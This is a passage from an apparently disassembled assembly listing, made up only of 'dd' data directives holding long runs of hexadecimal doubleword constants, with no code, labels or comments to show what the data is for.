		dd 656900EAh, 0E8BBCFDh, 82824D7Bh, 679AA714h, 601FC47Ch
		dd 1BC7DBDh, 98E99284h,	20DB2286h, 9C9099C4h, 314FA487h
		dd 0EBAD3980h, 0CF0CE86h, 0E70BA49h, 8B46FC22h,	7A2C030Dh
		dd 0DE89030Fh, 0E323C53Ah, 3D5461F0h, 0AAE7E601h, 0A87BD27Fh
		dd 485E8453h, 0AEE86CE0h, 40EF008Ch, 596B785h, 101A288Fh
		dd 0CD50B359h, 49DFE07Ch, 0B2E7AEEh, 6428E821h,	1F86AAE0h
		dd 885D90EDh, 6C642FEFh, 0C0E5B445h, 0D9E0BC0Ch, 2CA7C301h
		dd 0A5FF11CFh, 577B698Ch, 870055F9h, 0CBE1E084h, 0DFAA69Fh
		dd 7572667Dh, 0C168F8C0h, 7C02E624h, 0E3BEBB82h, 0C5084170h
		dd 6BBC9C38h, 863C008Ch, 5DD24A2Ch, 0C74AD9F1h,	6523DC2Fh
		dd 0E0C4E316h, 3CC824CBh, 4117A2C0h, 9F1D12A0h,	85C0F0D3h
		dd 0A0B30E2Dh, 0F40ADEBCh, 18F5B4Eh, 6A365308h,	318DC0E4h
		dd 62C4C10h, 5287DA1Fh,	2EC8F0A7h, 616A8110h, 0ECACD500h
		dd 0A1367FD0h, 427120CEh, 9EA4523Dh, 66E02320h,	728F2203h
		dd 942043A4h, 3B306CA2h, 2C150311h, 45472244h, 0CF1FC006h
		dd 0F0F86AC3h, 509220EEh, 8C0E2476h, 82FDE429h,	51C3ED30h
		dd 18177978h, 0A4F31D3Fh, 497B931Dh, 1C645DA0h,	1252CA00h
		dd 6E83EEA4h, 2EF700C5h, 3073BE5h, 4E033656h, 0D70EED02h
		dd 0F1982622h, 0D138296Ch, 8D186Dh, 8F97C628h, 2C66EA3Dh
		dd 8E3A40Ch, 0FD6505Dh,	41DA4987h, 474EFC21h, 0D0F840F6h
		dd 0E09176C2h, 0AE60CCD3h, 0B70E3B57h, 60D8F9E1h, 0B1A8FAA1h
		dd 9C2475A4h, 48465CF0h, 0B4DCA700h, 0D619B25Eh, 0C6C5C705h
		dd 40D192B3h, 0C4D24EFEh, 59E0834Ch, 0CCBCFC08h, 21019674h
		dd 0C262E8Ch, 0B8701A35h, 0D4CF48Dh, 0A0A3BF91h, 880C4E78h
		dd 0AE1C019h, 0D604E647h, 4326BC8Fh, 0A9FD6C91h, 905CF20Ch
		dd 16072D5Ch, 0EAB700F0h, 0ADBB2190h, 824A061h,	5913042Eh
		dd 32D07020h, 0DFCB0054h, 0AAD72F51h, 8400D3ABh, 82AD046Ch
		dd 0A7E0592h, 0F58F46FAh, 0C1103EF8h, 8CA8E822h, 0CCA1CB17h
		dd 7DABCC21h, 0B350A983h, 0C2C0EA20h, 59098327h, 82ECDBF8h
		dd 0EEB2Ch, 0D0F61152h,	84851D9h, 4AEE0D10h, 0FE0CCC92h
		dd 597EAB51h, 0AA610729h, 0C0A3D381h, 0BDDA428Bh, 0E3E6700Ah
		dd 3D00207Ah, 0C515FBB5h, 501B3FD8h, 271370C8h,	0BA3C9105h
		dd 0A14900B2h, 595AEE9Ch, 7C270C42h, 830658C8h,	0C965E05h
		dd 908E7714h, 3DC0B088h, 1CD83E1h, 0EA7E63F5h, 804E7C0Ah
		dd 0DD17961h, 0B88D2015h, 61850C0Ch, 941A25Ah, 0F60046F6h
		dd 0A4B8F5D2h, 0F4F9DA5h, 8F9392F7h, 13CF9680h,	0D351A177h
		dd 3E88417Ch, 7AE40158h, 2CF5CC48h, 6F8FB6h, 0B3310E01h
		dd 0A307C229h, 1DD04606h, 2F97FA81h, 8CE36C20h,	0B55AA04h
		dd 1862BD8Bh, 55A24320h, 0F0451277h, 26E4907Ah,	0C90303C4h
		dd 0CAAED282h, 3B538043h, 0ACCD090Fh, 98F9F00Eh, 918097A5h
		dd 427481A9h, 0D020478Ch, 9FA6F089h, 1867BCB2h,	0BF606944h
		dd 0FE61B911h, 1ED34F46h, 27871824h, 549DA8C6h,	0D3806C91h
		dd 0BFE96551h, 13F7D206h, 217FABh, 41B552B7h, 0C8C605D9h
		dd 4983150Fh, 4F134FD5h, 79994C7Fh, 2EFA4A91h, 13E2394h
		dd 60B1737h, 9C022B47h,	0F0039F91h, 5EC09EDCh, 0D2001C46h
		dd 22486C76h, 0FA01D45Dh, 2750BAD8h, 4028F1D3h,	4C72F510h
		dd 349610B0h, 4544412h,	201250h, 0E60AE47Ah, 2489C56h
		dd 7CAAE378h, 0F0CD8CA7h, 0EC5B8234h, 15359500h, 0D2FE56E0h
		dd 5D030A1h, 0CAEEEB61h, 9DF14441h, 2D2EFAD8h, 34B01BF3h
		dd 59C064ABh, 0B19792A0h, 93B6005Eh, 0B8B72E10h, 0CA1F0A51h
		dd 0BE40C1FFh, 0A1328D81h, 220A2D2h, 0B366BA0h,	1EFA0440h
		dd 0A813DF5Fh, 6082F4C4h, 0FC282005h, 0CA12396Ah, 0F8201680h
		dd 50FA7FDAh, 189AE89Eh, 40EDF71Fh, 0FC16D3D8h,	5CA1632Eh
		dd 0A0406423h, 1D01FBD6h, 734C69CFh, 0D1144001h, 567C78C2h
		dd 23516180h, 4DA046B2h, 1DCACC00h, 50271CFDh, 90595A7Ah
		dd 0AD905DD8h, 54C18600h, 4ED4A81h, 94313885h, 52FEEB05h
		dd 283CD05Ah, 153780D2h, 87C16143h, 0C0BBC76Eh,	9351D330h
		dd 6C5D57CEh, 20FE3DA8h, 0D6C31723h, 85B4400Fh,	86549352h
		dd 88C49755h, 4ECA7F0h,	0E0C267D0h, 689B4F08h, 3119AAA6h
		dd 0CC681B50h, 7B307981h, 0D6999F54h, 1F49CECBh, 856A11A8h
		dd 0B100C839h, 0D6A12CDCh, 2281C00Eh, 8295310Ch, 3B51D000h
		dd 0F2EF4D73h, 2F714F2Bh, 0EAE237Ch, 0F2E0EBB8h, 0C1CE52B0h
		dd 544907B8h, 4D11460h,	4B2B82FCh, 0AC56F2h, 15B0B9FCh
		dd 8BCBE73h, 4F0A00DCh,	191C1464h, 0C05E1D1h, 0BED94911h
		dd 10DBC404h, 785AAB0Bh, 66E60B12h, 81BD08C0h, 6A440082h
		dd 6333F5B7h, 2100057Ch, 0C6067B15h, 25973B88h,	0F0CFBE9Ah
		dd 7B397A40h, 0DC81C058h, 91FA22D6h, 89320F00h,	59AD6298h
		dd 667F18DBh, 1C7E68C8h, 40900092h, 495AE02Dh, 2BD496C4h
		dd 0DD1F132Ah, 3530058Ch, 0C8E08E10h, 451CC0ABh, 830A28FCh
		dd 90077AD0h, 33DD4681h, 1EF88DF8h, 0C00A4AD3h,	0B27E97ACh
		dd 0D1DA180h, 95698D92h, 0D393E009h, 109180CCh,	5E14B4ECh
		dd 36053F46h, 407BAAF4h, 97932BA0h, 1700B28Ch, 0ABDA0AE8h
		dd 392382EDh, 2CDC0CC6h, 0EE8A8A3Ch, 284417Ah, 7D2FA715h
		dd 0D544BCDCh, 0F7B4B252h, 5B23C038h, 2E3E2B16h, 4A86051Bh
		dd 0C4887A95h, 474614FAh, 0D60490F4h, 0B3DF228Fh, 3068B2E8h
		dd 64006B9Ah, 54F22878h, 7350FAF4h, 405CAD73h, 5C7BF09Ah
		dd 4975A500h, 112C2228h, 719B40F6h, 0B1D2E601h,	4D9F7995h
		dd 29A7C020h, 889C99DBh, 0D8030613h, 4B5CA7Fh, 8B4EF4D8h
		dd 0F570A4EAh, 914FDA20h, 18A7D118h, 41C5C93h, 48C38E10h
		dd 0CDDC0E4h, 0DBEE6ACh, 0AF9E77DAh, 5540C20h, 821A801Dh
		dd 0C85A0821h, 0F44B8038h, 9D6AFD27h, 72F112EFh, 80009B50h
		dd 1B80222Eh, 9B5A9Fh, 0A13A0C98h, 72416ECFh, 80B8A42Dh
		dd 82F12F39h, 8AF68D7Dh, 46E4443Dh, 0C5040159h,	0E5E81BB0h
		dd 0D9CC282Bh, 55C4FC0Eh, 519EE06Dh, 0F47EBDC8h, 6821588Bh
		dd 0E8399C45h, 2C0F96B8h, 43207EF6h, 107B5Bh, 0B2820DC1h
		dd 41EBC2EDh, 0D800C374h, 7C0F27EEh, 4A06DAE4h,	237C2F95h
		dd 8E3101ACh, 33A134D2h, 0B9D0798h, 0E0430624h,	1DC1C1EAh
		dd 275505E4h, 881D2B81h, 1A8B1891h, 0D61A01F5h,	0EC4078BFh
		dd 0F4ED722h, 46FC0FB1h, 0F2EC40B2h, 8A603B29h,	9C597618h
		dd 0F079B1h, 34AA386Ah,	7BF43278h, 0A2814CB6h, 0F6437031h
		dd 7C897D4h, 0AA75FAB7h, 0F2F42056h, 1301AC22h,	0C986E650h
		dd 694D0Fh, 0C400C0B8h,	49FFAB68h, 60AA0B4Bh, 0B21F2177h
		dd 81002E8Eh, 4C8CEE74h, 247F50EDh, 3B0898E2h, 8CD9273Bh
		dd 3CDD203h, 0FAC0D4E6h, 613EE916h, 35F92562h, 1B2680C8h
		dd 7B6BFC28h, 25906249h, 9A08A0AAh, 1B33E3h, 0AE8B6A04h
		dd 524D8407h, 0C67138h,	5AF4483h, 48F163E9h, 9738C04h
		dd 7B7713B4h, 53C0044Ah, 0A0605918h, 29B1E6B0h,	7338725Dh
		dd 4B9422FBh, 0F68B0309h, 0F1C0403Eh, 5CC8E6D8h, 0FA04A434h
		dd 0A0EF5B2Eh, 86248750h, 467C94A8h, 0D14A0067h, 5A87DAA3h
		dd 0FA48C6B8h, 0BE201099h, 16FC13C2h, 7C1CA16Bh, 8C49BC90h
		dd 4B22B000h, 1A66A05Eh, 185FE80h, 5498B78Bh, 512A2C79h
		dd 0FCEDE4F4h, 0BD4BDEE6h
		dd 228240DBh, 59E0E21Eh, 8C02379Ch, 4EFCEC6Ch, 846C5CDFh
		dd 0A334C477h, 3165B248h, 5BCC70AAh, 3CEDEB40h,	9F962F8Ch
		dd 0D2750025h, 0F3DD95F6h, 44637025h, 12130008h, 2BA1E8A9h
		dd 81E4AA6Dh, 3DCFBCC0h, 14DA311h, 199CB97Dh, 9CE2E148h
		dd 3CB4A58h, 0C0306D92h, 0BC48AA82h, 96A8CB02h,	0E0D13A44h
		dd 7F2C3C8h, 908F2983h,	0E6C060ABh, 9D9D5666h, 80AF9154h
		dd 0C7564C7Eh, 0E96E00EDh, 0EE674D91h, 6C045C82h, 26FA23B0h
		dd 8C3A30E9h, 10BC2A92h, 801B682Ch, 6AC05117h, 0D490E85h
		dd 541A789Ch, 3729B186h, 597A89D8h, 8E6CDCE8h, 6B00507Eh
		dd 9B6F0CC4h, 2ABA8D8h,	0E8CF307h, 0B8483CC7h, 189CE27Ah
		dd 0CB84F280h, 3EC4A1D6h, 0D8011357h, 7C320342h, 0A3B5FC44h
		dd 0BD748890h, 0F45A500Eh, 5837807Ah, 3521E7Dh,	2429881h
		dd 0C3B8A3D5h, 2303A459h, 53966246h, 0B95A026h,	985A0185h
		dd 0AD5CA8DEh, 3B299A03h, 0B180321h, 0F2491DEAh, 0ABD00E75h
		dd 0AD6D0780h, 945A1D71h, 1D8080DBh, 767A28B1h,	13193E00h
		dd 0B09F4B8Dh, 0F8CA0EAh, 0A44D8041h, 0A6ADC613h, 0BC0A1005h
		dd 502EACCAh, 515A09D4h, 0AED904F9h, 0B5B88218h, 7F5A7E3Ch
		dd 0CAFE8A09h, 0AB904A30h, 0C090A698h, 0DAD80BE9h, 354750h
		dd 77EC63Bh, 0BD9C742h,	1C5B8003h, 0D7015374h, 0ACF96D51h
		dd 86F9BEC3h, 90C1B860h, 7C5C409Ch, 6D00F491h, 6479B031h
		dd 0CFC10130h, 0A188F0BAh, 502DDAh, 0B3C0937Dh,	341DAC2Bh
		dd 0C0D1319Fh, 88D703Ch, 20025280h, 7100995Ah, 4FB00B9Eh
		dd 0F92C12h, 0E6201BA1h, 1843279Ah, 7C01449Ah, 7765255Eh
		dd 0C7F234CCh, 60686408h, 0CABF84Ch, 62FE0BB9h,	0BF1791E1h
		dd 0CCD1611Bh, 2404493Eh, 0C0D89B60h, 0D91AA6B7h, 2AB2043Bh
		dd 0F0F19FCAh, 0D88015B8h, 2040B0BAh, 7A4F02BBh, 0AA20040h
		dd 1287C3h, 0E8DBC4D5h,	8B221C0Dh, 5457F712h, 0AA23403Eh
		dd 93C99D1Ch, 1750C48Dh, 0C52FBF1Bh, 10A230h, 0CC4E06A1h
		dd 1A727CBh, 4BE44050h,	0C4D0FDBFh, 179775C4h, 80A99124h
		dd 0E24D9C7Ah, 3AF40446h, 80BFDE87h, 6F410BB4h,	0F3857400h
		dd 1D9152DAh, 0CB4BC7h,	0AFF68F28h, 379D139Fh, 2C99A820h
		dd 898E1A4h, 54091077h,	5AA89091h, 4331C0A1h, 3CCFB08Ch
		dd 8A00ACECh, 89F9B15Eh, 3D884E1Ah, 88C919FAh, 4AE81858h
		dd 0BE4C008Ch, 3CBA369Ah, 5BEE2483h, 0D896AD30h, 938E1011h
		dd 20182874h, 0ED0F0DEFh, 0D2EC4082h, 45DAD004h, 0AAB24CB3h
		dd 63DD030h, 7F068B2Bh,	0BB0A4848h, 0B868B3C6h,	0A1C9521Ch
		dd 0ECEC18D6h, 0ED3E35C8h, 61D01258h, 0E0DBD848h, 185C8327h
		dd 0C0A288A4h, 0DAEB345Bh, 0E0504E4Ch, 345312h,	90CD4B1Ch
		dd 6C1AEC11h, 3D54D02h,	64477AFEh, 81D71090h, 412B8DA2h
		dd 2F78E402h, 2BE1F88h,	1808986Bh, 6D406004h, 0DC349CBEh
		dd 29072801h, 931BC69Dh, 6206C101h, 0CF187AE4h,	0E6197A3Fh
		dd 103B2012h, 750BBF10h, 9B06F305h, 2284E521h, 0FE8B06F4h
		dd 1219310Ah, 0D06B7FBFh, 0A39C4B78h, 0EB10F8B6h, 0E19D64Ch
		dd 70966167h, 9186A420h, 186E7188h, 5F7328h, 370E64C9h
		dd 1D7CE6E7h, 78D3CF13h, 17B240A3h, 3F04C430h, 0E5B216FAh
		dd 1CDC8DB8h, 0F6C96A01h, 0E3051EA6h, 30AFF2C4h, 3F249AE2h
		dd 13E2BDCh, 7B6107F7h,	0EA204467h, 0AF300082h,	58F1C3D8h
		dd 0F6178EE3h, 6CA44B52h, 92C570D5h, 0DB8C090Ch, 10459506h
		dd 2360A7E4h, 8F48DB3Eh, 54534A69h, 3FF208A2h, 69D95030h
		dd 84F040DBh, 46A040h, 0A789CF1Fh, 0F5114DA6h, 14729CA4h
		dd 0AFF42B3Bh, 0A8B74Fh, 0D62E2FB1h, 0BD00980Fh, 0CDC4EB51h
		dd 288B039Ch, 0C94B875h, 318FA68Dh, 0A507A98h, 517E3620h
		dd 38DFDE00h, 0AE3482CBh, 9C1D9DF9h, 0FE806711h, 7F5B10A0h
		dd 22B12627h, 7F17384h,	0C512C2D8h, 0BB8804F6h,	686E251Bh
		dd 6E443C85h, 16264060h, 7579E100h, 3C2A2D4Fh, 83C624C5h
		dd 102880E8h, 22C15432h, 0ABD1B499h, 3700B918h,	4169340Ah
		dd 54B7955h, 0E853D49h,	7D8BC0Bh, 0F8875493h, 0F47C384Dh
		dd 18C69BCh, 0EFB6FD25h, 6F96DBB8h, 3F23682Fh, 881EC392h
		dd 308D0440h, 298F3B24h, 24C8AEC2h, 0B4BC20FDh,	0B300DCD8h
		dd 9AA1FF32h, 3A47E3ABh, 7CA281CEh, 0DC959D07h,	601FE282h
		dd 0E99AF0C4h, 0A26E25AAh, 0EF0368F3h, 0F9E2AFD2h, 985B0841h
		dd 9A2A22C1h, 1780C8ACh, 8CED64A0h, 0D82F495Eh,	0E40E8C79h
		dd 0F26BD0B0h, 0F507D804h, 1A88A0CFh, 0F8500EC7h, 9751E43Ah
		dd 6445900Bh, 0DF601DE4h, 9702AD7Fh, 0BD29262Bh, 0EB805CEFh
		dd 0E25008D3h, 0BA060041h, 0BB7913D7h, 3A97F7FDh, 60004D80h
		dd 7B8D966Fh, 8B491563h, 0C5FAD036h, 0E1F90099h, 3A88CB44h
		dd 0B20450A0h, 0E74237EFh, 4C090B8h, 0EDB5D2C2h, 2E093801h
		dd 0BAD991DBh, 4F235470h, 2A684BE2h, 0A083B402h, 49B8AB02h
		dd 0E759BCh, 9C1BD0E9h,	0EA34A30h, 0EEBDD205h, 6080A173h
		dd 794015Dh, 0F6F287A8h, 0D5C15719h, 205C17D3h,	1E8674A0h
		dd 297D2100h, 3D0FECC0h, 0F2C6F4D6h, 0FC330670h, 9806534Eh
		dd 91A9D301h, 0F410F2D0h, 0F050D6h, 32A25D13h, 711509Ch
		dd 87DB5C06h, 9F09A46h,	0EBBF2EFCh, 0E82C3873h,	1D121F11h
		dd 0E40E293h, 60176543h, 51806D7h, 0CB2000A8h, 52E5DE73h
		dd 0BB0BFA0Dh, 2D15561h, 56E69788h, 0EDD200B8h,	1D75AA92h
		dd 7E44EBF2h, 1FCF200Eh, 0A45CFA1Ch, 0C7B2EC6h,	0CA380490h
		dd 0ACD8A1A7h, 0F14F872Ch, 4980D380h, 6FAB328Ah, 8F45999h
		dd 4A89C680h, 149CB0A9h, 0C0BA35DAh, 24CFA700h,	14C04333h
		dd 0AEE8D0Bh, 871C6823h, 0ECB436h, 858A5180h, 0ED779931h
		dd 0D1429700h, 554D71C2h, 0F4EE25C9h, 125B2CC9h, 1004367h
		dd 691DD789h, 5182FE8Dh, 2ED6A1A0h, 0D18AAC30h,	35727CA3h
		dd 8019EECFh, 773ADB34h, 0B080DE4Bh, 406336F4h,	8B13651Eh
		dd 0F08756E6h, 988E54D7h, 0F1198071h, 480C3C33h, 53117AF3h
		dd 99068F04h, 0F0A31391h, 6C30A8A2h, 0C09C00A1h, 52A4FAA3h
		dd 0D0B1ED09h, 451868F1h, 0B3D65217h, 97652080h, 0B0889FB6h
		dd 0AE01D628h, 0BAE44303h, 8455BF0Ah, 756F3004h, 90528500h
		dd 2237873Bh, 0BDA1689Bh, 147A0FA6h, 56C06C08h,	0BA37A19Ch
		dd 9E679B01h, 0F4315FDBh, 70C92C8h, 0B0716984h,	74A4AAEDh
		dd 0D81DA746h, 429F4B4Fh, 9C2718D8h, 0E428E566h, 677F6049h
		dd 0E898D1h, 0FB0C7927h, 3FBE0A82h, 22C42119h, 0B069D250h
		dd 6D134500h, 555A773Dh, 17D1F0B9h, 0C90BFA18h,	0C1332772h
		dd 0A2CCDA10h, 643297A5h, 465E1054h, 0C2A602A9h, 645A0A38h
		dd 0BED82C9Ch, 0B003ECAh, 5E285414h, 1C13EB39h,	60F3C7BFh
		dd 8C301FE2h, 723B0004h, 23FC151Eh, 6AE8F6B8h, 0F28FD912h
		dd 1D101040h, 1D756F9h,	0FCC4D8E4h, 0BCC350ABh,	0B0AB7408h
		dd 6D0B1925h, 0BE37C00Ch, 897D60F2h, 0D0C06704h, 0D4A0DE7Fh
		dd 450C9871h, 0BC54682Eh, 1F7F8C1Bh, 7737DE06h,	8F180972h
		dd 0AD3260D0h, 5A22E490h, 21220297h, 0D775EA11h, 0FA43885Ch
		dd 24BCAC26h, 59A36409h, 3E1F4472h, 38006B87h, 0EDFC2FABh
		dd 0E853D08h, 91103C17h, 6398C460h, 306BE2FCh, 5100A270h
		dd 0F0C1C8E1h, 4B729FD8h, 76688E99h, 24C6B588h,	21287403h
		dd 54950248h, 82296188h, 21503B0h, 0B8F42BF3h, 19465Ch
		dd 0E497A6D0h, 79FC27F3h
		dd 2B793B6Dh, 2A8DED81h, 2E1C9114h, 0E8D06014h,	3B788C1Ah
		dd 95901D3Fh, 0F8C76AAh, 9FABACh, 0CB59F192h, 47181680h
		dd 0FD388503h, 2572AC84h, 74466226h, 8492A003h,	181F4717h
		dd 99097B10h, 0AF7FDD42h, 6376290Eh, 3110A005h,	3C7DFBADh
		dd 0E97C3E4h, 0FEF8B0A3h, 0E0F4ED95h, 0AD7431E0h, 0D0B6BE00h
		dd 9805FC59h, 8316000Ch, 0E668B885h, 0DA09E2D8h, 5B9ECE77h
		dd 8097AD8Ch, 4B834A91h, 0A2F07BA4h, 8054AA77h,	4E00DFB8h
		dd 0EBC04D9Ch, 1C471Ah,	5B0F9EC1h, 2E8C72B5h, 87DAED04h
		dd 34E334CCh, 4B3066B2h, 0A71D0B54h, 60229A77h,	9D5796DDh
		dd 806A91B4h, 0F14B339Ch, 7C662598h, 0C0AAC8C9h, 0A53D165Ah
		dd 9DF701BCh, 8E3FF81h,	1BD8302Bh, 736003CFh, 810C2888h
		dd 71C92529h, 0CFB68ABh, 101B4870h, 0D92639Fh, 7009068Dh
		dd 0A8E8BC7Ch, 86C5C8Ch, 519E0F18h, 3D4F170Eh, 65F748D1h
		dd 7B4018ABh, 0D6208DA8h, 3533F502h, 0D408DB84h, 0FC04DCDCh
		dd 0FBEDCB6Fh, 0E451D483h, 0B0B70303h, 68BBA816h, 1C237C3Eh
		dd 0AE91D402h, 61E880FDh, 69EBC71Bh, 30585069h,	8E97DA1Dh
		dd 0E70F9064h, 538118A0h, 4DD70F52h, 0FD8B59D9h, 6D582073h
		dd 0F2A50093h, 81852BB3h, 4F447CC2h, 349A015Fh,	0B05344DBh
		dd 3C172EF1h, 6A88CC8Fh, 6863FDC0h, 95D57C46h, 0DE03F8E4h
		dd 0ED67B69Ch, 0E9BFC85Ah, 17707229h, 9059D343h, 6C3D2BD8h
		dd 66C69F1Fh, 0B498C3C0h, 2520D6E7h, 0E8E97CCDh, 0F157C051h
		dd 191A8027h, 352E4CF8h, 0BCCCF854h, 64008C1Eh,	0A541CF61h
		dd 4BED5003h, 47540865h, 1254E40Fh, 0DE5A1C22h,	24618098h
		dd 8A8B214Fh, 0DC64CF00h, 0FB22F0C8h, 8FDF05A2h, 0B8E0D5B7h
		dd 8C1FF890h, 0FAA89C00h, 3F1EE18Eh, 4EC726F2h,	54D152A4h
		dd 18184759h, 0B5C0BD4Fh, 6B484h, 7080EE86h, 828FDB69h
		dd 0D20EC89Ch, 4AD4EFAh, 8CB88D46h, 0AF2EFCA0h,	99C0B97h
		dd 11B02BA4h, 0C9A5EFA4h, 0A270ACFBh, 0E260041Ah, 0F84E7FD8h
		dd 0C8B24F3Ch, 0ACBC845Bh, 1180EB78h, 8F5B6B10h, 27AFFA27h
		dd 9CEA87FCh, 0A161AC48h, 0C53A25CEh, 23643A58h, 2F023A17h
		dd 0AB6C1DD7h, 0B1005472h, 0DE1F3487h, 278B0339h, 680532E6h
		dd 0E5DC2CEDh, 807A754Ah, 739A9701h, 71E97B9Eh,	204E1E0h
		dd 0C3885464h, 1909EA5Fh, 0C29C2697h, 0E9D85410h, 9FBDB835h
		dd 0B3819B6Bh, 4E597481h, 4A93BC70h, 52209053h,	26E95C04h
		dd 0B641F0C8h, 870F013Eh, 0F3F9C714h, 0E3D09547h, 4EFAC174h
		dd 6A08EFA7h, 0B83BA44Eh, 51006A23h, 0F82D3DAEh, 7F44B88Bh
		dd 0D461823Bh, 0AFC80F01h, 0F4DA99C1h, 72004C1h, 0A4502792h
		dd 80601C62h, 4797716Bh, 631D6468h, 6D0280E7h, 0D14E01BBh
		dd 3588DAC7h, 0E29C7394h, 0CCE63169h, 0BE488164h, 0C7BF1718h
		dd 36B0ACE7h, 0F60B4D89h, 0C06A9FD8h, 46CF194h,	9833858Eh
		dd 0CCFD7Ah, 3ACD6DBEh,	0D9AE55h, 0BF20FE07h, 1B0C3C8Bh
		dd 0FAE20402h, 0F81A0B16h, 6D87106Ch, 0A8AD9248h, 6C2649A8h
		dd 0EE08C86Bh, 5C6D25A1h, 0DB603E64h, 0F20E2820h, 0F4CB6178h
		dd 8C3FBC24h, 0E4DD154Bh, 804C9A2Fh, 761C214h, 0BB6202EDh
		dd 1E80950Ah, 774178F4h, 5C7DAD9Ah, 18C49BCh, 871AE703h
		dd 0D9E48E88h, 2B8297Ah, 8D4F777Dh, 0E9ADC07Bh,	0E8CF00BDh
		dd 0A1220460h, 540603E6h, 5A09C380h, 0D7B2408h,	0D4748F08h
		dd 70897D40h, 0C970DBE9h, 5C054E09h, 0B8D1A9h, 92EE9709h
		dd 0B00ECC36h, 0A04E9A3Ch, 0D25C0BE3h, 0F6FA4A2Ah, 552CB160h
		dd 8281446Ch, 331EAB2Fh, 198F8DB4h, 912BE840h, 67D327BFh
		dd 801F144Ch, 87000EA1h, 83D59AD0h, 57B71D24h, 909A6DFh
		dd 90E4C426h, 4E8DF344h, 0AAC014Bh, 0D0597F50h,	81C419Bh
		dd 8A44F29Ch, 64A8B885h, 128C3DBCh, 0F3CA3B62h,	9F380450h
		dd 888A8DAh, 0E4EB41D3h, 0B6259B52h, 9DE8C640h,	0E000EC37h
		dd 93B79A35h, 83A7014Ch, 33B2D834h, 0EC342EDFh,	27146EBEh
		dd 9B581056h, 502500D8h, 720F607Bh, 8300A5A6h, 2DE2B3D1h
		dd 58FAEE8Dh, 26C6D03Ah, 7351F8BBh, 0F610C2C0h,	0CE4D4F62h
		dd 0C0AEC88Ch, 0E7119818h, 0B51DEB02h, 0F8F2EEF5h, 0A6BB1608h
		dd 0C8F4F0DBh, 815470C0h, 4A8FA4Fh, 0CF59318Eh,	2734F817h
		dd 7944E402h, 3C0C4878h, 12E3DF10h, 0E8E11B7Ah,	0D75C2080h
		dd 7B52FCD5h, 84391467h, 0D3AA7280h, 185F00AEh,	0F4A4EBC6h
		dd 4F09CBE3h, 5CB82457h, 28976BBCh, 1F931691h, 0D9E48194h
		dd 0D024ACDFh, 0EA0BA1C0h, 0E8758C54h, 0F6494D20h, 7B2418B0h
		dd 53D4108h, 0F207660Ah, 0AB13B49Ch, 0EF8CF4D0h, 89B73EE4h
		dd 1BECD85Ch, 1256008Ch, 0E2854897h, 0ABB51680h, 7859B0h
		dd 10B65FF6h, 3900936Ch, 6869C360h, 5F80B198h, 8404015h
		dd 0EE91F68Fh, 58CE135Eh, 9FC0A988h, 0A3994CCFh, 57E4E2E0h
		dd 0D874E832h, 3AF4656h, 0C87E8AA6h, 4814A81Dh,	54E408A5h
		dd 8082748Fh, 7D526A51h, 0FCE37091h, 0A73D920Bh, 5CAA0B72h
		dd 0B0DCAAB4h, 73B8750Bh, 0B3CF709Ch, 68024090h, 54F1EE80h
		dd 349D5D12h, 0E892AB91h, 50F609A0h, 80E08168h,	3A104E21h
		dd 0C24B327Fh, 842380DDh, 103047A2h, 0DFE6DCh, 96D4F9F6h
		dd 56975B13h, 13FEB040h, 1394191Eh, 0E064B690h,	1378C0B7h
		dd 4D1493Eh, 4311E3Ch, 0B28391h, 1D3017F2h, 0D4C595B6h
		dd 10A20212h, 1280FF10h, 14E9732Ch, 970980B8h, 76A14C9Ah
		dd 3CC243C8h, 788B04B8h, 2B02F3FAh, 0E07AAE82h,	0DA1C408Ah
		dd 0A9BA2E7Fh, 4FB7228h, 0F4B59853h, 5D760145h,	1F4EFC79h
		dd 95783405h, 0AA4BACB2h, 40AEA892h, 1D80ACAh, 0FC224DA6h
		dd 0AD0F6B26h, 20DC2E31h, 382A66DCh, 46BF750h, 1235D7F8h
		dd 0E64F48E7h, 0B7D9A3ACh, 0BAAF445h, 24D8F354h, 0C0C0ED97h
		dd 0CD3A5D7Fh, 0DD450716h, 21C7650Ch, 80A89B94h, 0D557BF51h
		dd 14F12F1Bh, 1888A0CEh, 807CA5C3h, 25324251h, 1CE6B435h
		dd 16FE463Ch, 48B4F111h, 4FBBFC93h, 0BFF4929Fh,	375FA8CAh
		dd 0A779009Ch, 3A01E2A1h, 10C44A4Fh, 0FF7BCC45h, 118E7C0Fh
		dd 0AF46FA09h, 0A313D4DCh, 411E7406h, 40289429h, 93B95669h
		dd 0DBEF9F03h, 800B4CA7h, 901AE6A5h, 8069F894h,	10C4C1A8h
		dd 750068A3h, 82E37824h, 749B581Fh, 0A71DDF02h,	9508F007h
		dd 100A7469h, 439F0E8Dh, 0C58542Eh, 0EE3CB897h,	1124428Ah
		dd 200076AAh, 59609203h, 0E4A4D2A1h, 7C326100h,	5AE60B50h
		dd 24989722h, 0E142E71Eh, 0FDD0450h, 0A962FCD4h, 0F26FD100h
		dd 0BF2A0E0Ch, 4E44A453h, 0C29F17D8h, 0EFECA495h, 60200E4Ah
		dd 0EE099415h, 0B7B2C2Fh, 8B714150h, 0C082F29h,	20F8A834h
		dd 629DA86Ah, 7B91817Ch, 208B01E7h, 3852AA67h, 54D87200h
		dd 0D2C188E2h, 0F12B3C8Dh, 94D68F8Ch, 68B6D140h, 0DCD01340h
		dd 857A00A3h, 8B1787E4h, 7B782F6h, 7AF9F338h, 0AA4A4430h
		dd 32742097h, 7A2046h, 99880C0h, 11853AFDh, 6A03E601h
		dd 5B46E4D4h, 4ABAC430h, 67004A45h, 0A14F0444h,	3840B5CDh
		dd 10FE80F0h, 50F81AEh,	0D697DB7Ah, 0A334A49Fh,	612E1E41h
		dd 80AB4Ch, 952C6A1Dh, 0C63C509Dh, 311C1403h, 0F29B6681h
		dd 30DC2889h, 0C64C56ABh, 110F85B4h, 49B254B3h,	3BAA30h
		dd 122A33BBh, 0B74EFA91h, 0A4B80F9Dh, 0E0BD79C8h, 0A3D14C05h
		dd 0E054F64Dh, 0B57B8FF1h, 36E994A0h, 984ACABDh, 2DB5E0C8h
		dd 1C6077A6h, 0B0BE23EDh
		dd 2AB475Eh, 0B923FF9Ch, 40D85484h, 0DA72472Fh,	0B3E90D09h
		dd 71945CB6h, 0C82E6BFAh, 56004823h, 7073847Ah,	0A4A70409h
		dd 0A8AFA6BBh, 10552460h, 140FB708h, 0F60CA404h, 0AB998A56h
		dd 0E514C895h, 1C5A7043h, 1391885h, 97D8F3DCh, 0B4C47A36h
		dd 0B26434ABh, 303DF2D0h, 8B15B54Ch, 989F5Ah, 0CEFC3127h
		dd 8852E8h, 58D16ABEh, 7FD917ABh, 71C56225h, 0B7A7894h
